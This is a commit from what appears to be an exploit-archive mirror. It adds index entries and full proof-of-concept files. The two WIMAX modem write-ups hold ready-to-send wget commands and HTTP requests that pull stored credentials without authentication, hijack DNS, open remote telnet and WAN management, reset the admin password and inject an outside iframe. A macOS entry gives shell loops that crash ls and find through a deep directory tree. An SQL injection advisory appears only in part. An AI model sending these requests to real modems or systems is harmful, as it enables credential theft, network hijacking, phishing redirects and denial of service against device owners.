bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2015-12-10

Browse source 
14 new exploits
This commit is contained in:
Offensive Security 2015-12-10 05:02:23 +00:00
parent fa0d0d2907
commit 69243df248
16 changed files with 911 additions and 25 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

14
files.csv
View file

@ -35174,3 +35174,17 @@ id,file,description,date,author,platform,type,port
38908,platforms/php/webapps/38908.txt,"Leed 'id' Parameter SQL Injection Vulnerability",2013-12-18,"Alexandre Herzog",php,webapps,0 38908,platforms/php/webapps/38908.txt,"Leed 'id' Parameter SQL Injection Vulnerability",2013-12-18,"Alexandre Herzog",php,webapps,0
38909,platforms/linux/dos/38909.txt,"DenyHosts 'regex.py' Remote Denial of Service Vulnerability",2013-12-19,"Helmut Grohne",linux,dos,0 38909,platforms/linux/dos/38909.txt,"DenyHosts 'regex.py' Remote Denial of Service Vulnerability",2013-12-19,"Helmut Grohne",linux,dos,0
38910,platforms/windows/remote/38910.txt,"Hancom Office '.hml' File Processing Heap Buffer Overflow Vulnerability",2013-12-19,diroverflow,windows,remote,0 38910,platforms/windows/remote/38910.txt,"Hancom Office '.hml' File Processing Heap Buffer Overflow Vulnerability",2013-12-19,diroverflow,windows,remote,0
38911,platforms/windows/remote/38911.txt,"Microsoft Windows Media Center Library Parsing RCE Vulnerability aka _self-executing_ MCL File",2015-12-09,"Eduardo Braun Prado",windows,remote,0
38912,platforms/windows/remote/38912.txt,"Microsoft Windows Media Center Link File Incorrectly Resolved Reference",2015-12-09,"Core Security",windows,remote,0
38913,platforms/hardware/webapps/38913.txt,"WIMAX LX350P(WIXFMR-108) - Multiple Vulnerabilities",2015-12-09,alimp5,hardware,webapps,0
38914,platforms/hardware/webapps/38914.txt,"WIMAX MT711x - Multiple Vulnerabilities",2015-12-09,alimp5,hardware,webapps,0
38915,platforms/php/webapps/38915.txt,"Wordpress Plugin WP Easy Poll 1.1.3 - XSS and CSRF",2015-12-09,Mysticism,php,webapps,80
38916,platforms/windows/dos/38916.html,"IE 11.0.9600.18097 COmWindowProxy::SwitchMarkup NULL PTR",2015-12-09,"Marcin Ressel",windows,dos,0
38917,platforms/osx/dos/38917.txt,"MacOS X 10.11 FTS Deep Structure of the File System Buffer Overflow",2015-12-09,"Maksymilian Arciemowicz",osx,dos,0
38918,platforms/windows/remote/38918.txt,"Microsoft Office / COM Object els.dll DLL Planting (MS15-134)",2015-12-09,"Google Security Research",windows,remote,0
38919,platforms/php/webapps/38919.txt,"JForum 'adminUsers' Module Cross Site Request Forgery Vulnerability",2013-12-26,arno,php,webapps,0
38920,platforms/php/webapps/38920.txt,"AFCommerce /afcontrol/adblock.php rootpathtocart Parameter Remote File Inclusion",2013-12-25,NoGe,php,webapps,0
38921,platforms/php/webapps/38921.txt,"AFCommerce /afcontrol/adminpassword.php rootpathtocart Parameter Remote File Inclusion",2013-12-25,NoGe,php,webapps,0
38922,platforms/php/webapps/38922.txt,"AFCommerce /afcontrol/controlheader.php rootpathtocart Parameter Remote File Inclusion",2013-12-25,NoGe,php,webapps,0
38923,platforms/windows/remote/38923.txt,"Apple Safari For Windows PhishingAlert Security Bypass Weakness",2013-12-07,Jackmasa,windows,remote,0
38924,platforms/php/webapps/38924.txt,"WordPress 2.0.11 '/wp-admin/options-discussion.php' Script Cross Site Request Forgery Vulnerability",2013-12-17,MustLive,php,webapps,0

Can't render this file because it is too large.

77
platforms/hardware/webapps/38913.txt Executable file
View file

@ -0,0 +1,77 @@
### Exploit Title: WIMAX LX350P(WIXFMR-108) - Multiple Vulnerabilities
### Date: ˝Friday, ˝December ˝11, ˝2015
### Exploit/Vulnerability Author: Alireza Azimzadeh Milani (alimp5)
### Vendor Homepage: http://www.greenpacket.com
### Version: v2.10.14-g1.5.2
### Tested on: Kali-Linux
I'm an ethical penetration tester and super moderator of Iran Security Team(http://irsecteam.org)
I have updated the modem to latest firmware which released by the company.
but with this work(upgrading the firmware); The attacker can bypass the authentication mechanism.
### Details of LX350P model:
Device Information:
Hardware model: WIXFMR-108
Firmware version: v2.10.14-g1.5.2-mobinnet
Firmware version: v2.10.14-g1.5.2
Firmware creation date: Mon Aug 15 16:45:58 2013
Frequency range: 3300000KHz~3600000KHz
Serial number: DXHKC120702523
I used below tools to find the vulnerabilities:
1)BurpSuite - Free Edition 2)wget 3)Nmap
### POCs of the modem:
#Get wimax credentials>>
wget -c "http://server/ajax.cgi?action=tag_init_wimax_auth.php"
#Enable and Change DMZ_Host IP in Firewall(request manipulating with BurpSuie)>>
POST /ajax.cgi?action=net_firewall HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: Language=en; page=net_firewall.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
NETFILTER_FW_IPFILTER=&MGMT_WEB_WAN=on&MGMT_TELNET_WAN=on&NETFILTER_DMZ_HOST=8.8.8.8&btnSubmit=1
#Ping a system: (We can use from below query for launching (D)DOS attacks>>
http://server/ajax.cgi?action=tag_ipPing&pip=4.2.2.4&cache=false
http://server/ajax.cgi?action=tag_ipPing&pip=192.168.1.1&cache=false
http:/server/ajax.cgi?action=tag_ipPing&pip=192.168.1.1&cache=false
#Get info about WAN MAC, LAN MAC, DHCP + ... >>
http://server/ajax.cgi?action=tag_init_net_dhcp.php&cache=false
#Change the DNS IP Addresses (DNS Hijacking, Spoofing)>>
POST /ajax.cgi?action=net_dhcp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: Language=en; page=net_dhcp.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 945
DHCPD_STATIC_LEASE=&DHCPD_ENABLE=1&DHCPD_START_IP_01=192&DHCPD_START_IP_02=168&DHCPD_START_IP_03=1&DHCPD_START_IP_04=2&DHCPD_START_IP=192.168.1.2&DHCPD_END_IP_01=192&DHCPD_END_IP_02=168&DHCPD_END_IP_03=1&DHCPD_END_IP_04=200&DHCPD_END_IP=192.168.1.200&dns_type_1=2&DNS_IP_1_01=6&DNS_IP_1_02=6&DNS_IP_1_03=6&DNS_IP_1_04=6&DNS_IP_1=6.6.6.6&dns_type_2=2&DNS_IP_2_01=8&DNS_IP_2_02=8&DNS_IP_2_03=8&DNS_IP_2_04=8&DNS_IP_2=8.8.8.8&dns_type_3=1&DNS_IP_3_01=0&DNS_IP_3_02=0&DNS_IP_3_03=0&DNS_IP_3_04=0&DNS_IP_3=&DHCPD_LEASE_TIME=1440&btnSubmit=1&DHCPD_DNS=2%2C6.6.6.6+2%2C8.8.8.8+1%2C0.0.0.0&ippt_enable=0&Active_0=Y&Interface_0=1&Protocol_0=1&SrcPort_0=68&DestPort_0=67&Comment_0=DHCP+request+from+lan&Active_1=Y&Interface_1=2&Protocol_1=1&SrcPort_1=67&DestPort_1=68&Comment_1=DHCP+response+from+wan&IPPT_EXCEPTION=1%2CY%2C1%2C1%2C68%2C67%2CDHCP+request+from+lan%3B2%2CY%2C2%2C1%2C67%2C68%2CDHCP+response+from+wan%3B&IPPT_EXCEPTION_NUM=2
#Frame Injection>>
http://server/ajax.cgi?action=<iframe src="http://r87.com/?"></iframe>&sid=DtTrEZnLke5Z&cache=false&time=1449547319726
http://server/ajax.cgi?action=<iframe src="http://r87.com/?"></iframe>&sid=DtTrEZnLke5Z&cache=false
http://server/ajax.cgi?action=<iframe src="http://r87.com/?"></iframe>cache=false
http://server/ajax.cgi?action=<iframe src="http://r87.com/?"></iframe>&time=3
### Conclusion:
1)the attacker can read sensitive information and set it on his own modem. such: for using free internet.
2)Anyone who can send a packet to the modem for crashing/downgrading/DOS.
3)An attacker might use "Frame Injection" to redirect users to other malicious websites that are used for phishing and similar attacks.
4)To obtain the control of similar modem(LX350P) in order to launching DOS or DDOS attacks on targets in WWW(world wide web).
At the end, I am thankful and I wait for your response.

69
platforms/hardware/webapps/38914.txt Executable file
View file

@ -0,0 +1,69 @@
### Exploit Title: WIMAX MT711x - Multiple Vulnerabilities
### Date: ˝Friday, ˝December ˝11, ˝2015
### Exploit/Vulnerability Author: Alireza Azimzadeh Milani (alimp5)
### Vendor Homepage: http://www.seowonintech.co.kr/en/
### Version: V_3_11_14_9_CPE
### Tested on: Kali-Linux
I'm an ethical penetration tester and super moderator of Iran Security Team(http://irsecteam.org)
I have updated the modem to latest firmware which released by the company.
but with this work(upgrading the firmware); The attacker can bypass the authentication mechanism.
### Details of MT711x model:
Version Information:
Build Time 2014.08.18-11:49
CPE Ver 1.0.9
MTK FW Ver EX_REL_MT711x_V_3_11_14_9_CPE
Serial Number IRMB1351C9200-0001044
I used below tools to find the vulnerabilities:
1)BurpSuite - Free Edition 2)wget 3)Nmap
### POCs of the modem:
#Get the WIFI settings>>
wget -c "http://server/cgi-bin/multi_wifi.cgi"
#Get Wimax credentials>>
wget -c "http://server/cgi-bin/wccm_wimax_setting.cgi"
#Enable and Disable connections to modem (as default those are ENABLED)>>
http://server/cgi-bin/remote.cgi
#Ping a system (useful for launching (D)DOS attack)>>
POST /cgi-bin/diagnostic.cgi HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/cgi-bin/diagnostic.cgi
Cookie: login=; login=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
select_mode_ping=on&ping_ipaddr=4.2.2.4&ping_count=10&trace_ipaddr=&trace_max_ttl=6&trace_qoeries_num=3&trace_report_only_hidden=0&action=Apply&html_view=ping
#Change the password of ADMIN account:
POST /cgi-bin/pw.cgi HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/cgi-bin/pw.cgi
Cookie: login=admin
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
isp_name=mobinnet&pw_set_select=admin&passPass=admin&passCfirm=admin&action=Apply
### Conclusion:
1)the attacker can read sensitive information and set it on his own modem. such: for using free internet.
2)Anyone who can send a packet to the modem for crashing/downgrading/DOS.
3)To obtain the control of similar modem(MT711x) in order to launching DOS or DDOS attacks on targets in WWW(world wide web).
At the end, I am thankful and I wait for your response.

284
platforms/osx/dos/38917.txt Executable file
View file

@ -0,0 +1,284 @@
MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow
Credit: Maksymilian Arciemowicz ( CXSECURITY )
Website:
http://cxsecurity.com/
http://cert.cx/
Affected software:
- MACOS's Commands such as: ls, find, rm
- iPhone 4s and later,
- Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch Hermes
- Apple TV (4th generation)
- probably more
Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting.
PoC:
Create an direcotry and perform the following actions:
# for i in {1..1024}; do mkdir B && cd B; done
...
cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g.
# for i in {1..1024}; do cd .. ; done
Then you can perform recursive 'ls' command. Let's run it ten times:
# for i in {1..10}; do ls -laR > /dev/null; done
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
Segmentation fault: 11
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
crash randometly. Let's see valgrind and lldb
LLDB:
...
/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
./B/B/B/B/B/B/B/B/..../B/B:
Process 987 stopped
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
libsystem_c.dylib`strlen:
-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0
0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi
0x7fff97ab6d3a <+26>: andq $0xf, %rcx
0x7fff97ab6d3e <+30>: orq $-0x1, %rax
(lldb) x/x $rdi
error: memory read failed for 0xfeb66c00
(lldb) register read
General Purpose Registers:
rax = 0x00000000ffffffff
rbx = 0x00000000ffffffff
rcx = 0x00000000feb66c08
rdx = 0x00000000feb66c08
rdi = 0x00000000feb66c00
rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742
rbp = 0x00007fff5fbfe710
rsp = 0x00007fff5fbfe710
...
rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
...
(lldb) bt
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
* frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713
frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669
frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596
frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80
frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128
frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$$ls + 1564
frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$$ls + 421
frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$$ls + 2300
frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1
=== Time for Valgrind =============
B/B/B/B/B/../B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
==1009== Invalid write of size 1
==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100001DAD: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== by 0x104809C8D: ???
==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd
==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100001B92: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== by 0x104809C8D: ???
==1009==
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
==1009== Invalid read of size 1
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x1000024A7: ??? (in /bin/ls)
==1009== by 0x100001CFC: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd
==1009==
==1009==
==1009== Process terminating with default action of signal 11 (SIGSEGV)
==1009== Access not within mapped region at address 0x102D20318
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x1000024A7: ??? (in /bin/ls)
==1009== by 0x100001CFC: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== If you believe this happened as a result of a stack
==1009== overflow in your program's main thread (unlikely but
==1009== possible), you can try to increase the size of the
==1009== main thread stack using the --main-stacksize= flag.
==1009== The main thread stack size used in this run was 8388608.
==1009==
==1009== HEAP SUMMARY:
==1009== in use at exit: 1,671,999 bytes in 6,025 blocks
==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated
==1009==
==1009== LEAK SUMMARY:
==1009== definitely lost: 519 bytes in 6 blocks
==1009== indirectly lost: 104 bytes in 6 blocks
==1009== possibly lost: 0 bytes in 0 blocks
==1009== still reachable: 1,645,151 bytes in 5,819 blocks
==1009== suppressed: 26,225 bytes in 194 blocks
==1009== Rerun with --leak-check=full to see details of leaked memory
==1009==
==1009== For counts of detected and suppressed errors, rerun with: -v
==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
Segmentation fault: 11
MacMini:SCANME cxsecurity$
It looks like a buffer overflow in memmove(). Code
http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c
The same issue for 'find' which may be used in cron scripts like
./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print
./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print
./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days
./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1;
Let's see valgrind output.
MacMini:SCANME cxsecurity$ valgrind find . -name "R"
==1055== Memcheck, a memory error detector
==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==1055== Command: find . -name R
==1055==
find: ./.Trashes: Permission denied
==1055== Invalid write of size 2
==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1000013FA: ??? (in /usr/bin/find)
==1055== by 0x1000052AD: ??? (in /usr/bin/find)
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)
==1055== by 0x3: ???
==1055== by 0x10480CC7F: ???
==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd
==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1000013FA: ??? (in /usr/bin/find)
==1055== by 0x1000052AD: ??? (in /usr/bin/find)
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)
==1055== by 0x3: ???
==1055== by 0x10480CC7F: ???
...
Invalid memory write without crashing.
BTW:
Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc.
====== References ===================================
https://cxsecurity.com/issue/WLB-2014040027
https://cxsecurity.com/cveshow/CVE-2014-4433/
https://cxsecurity.com/cveshow/CVE-2014-4434/
https://cxsecurity.com/issue/WLB-2013110059
https://cxsecurity.com/cveshow/CVE-2013-6799/
https://cxsecurity.com/issue/WLB-2010040284
https://cxsecurity.com/cveshow/CVE-2010-0105/
https://cxsecurity.com/issue/WLB-2005090063
====== Thanks ===================================
Kacper and Smash_ from DEVILTEAM for technical support.
====== Credit ===================================
Maksymilian Arciemowicz from cxsecurity.com
http://cxsecurity.com/
http://cert.cx/
http://cifrex.org/

50
platforms/php/webapps/38855.txt
View file

@ -12,8 +12,8 @@
Description Description
======================================================================== ========================================================================
One can perform an SQL injection attack simply by exploiting the One can perform an SQL injection attack simply by exploiting the following =
following WP ajax actions: WP ajax actions:
1. `edit_video` 1. `edit_video`
2. `delete_photo` 2. `delete_photo`
@ -47,37 +47,36 @@ POST parameters that are exploitable in each action respectively:
13. `order` 13. `order`
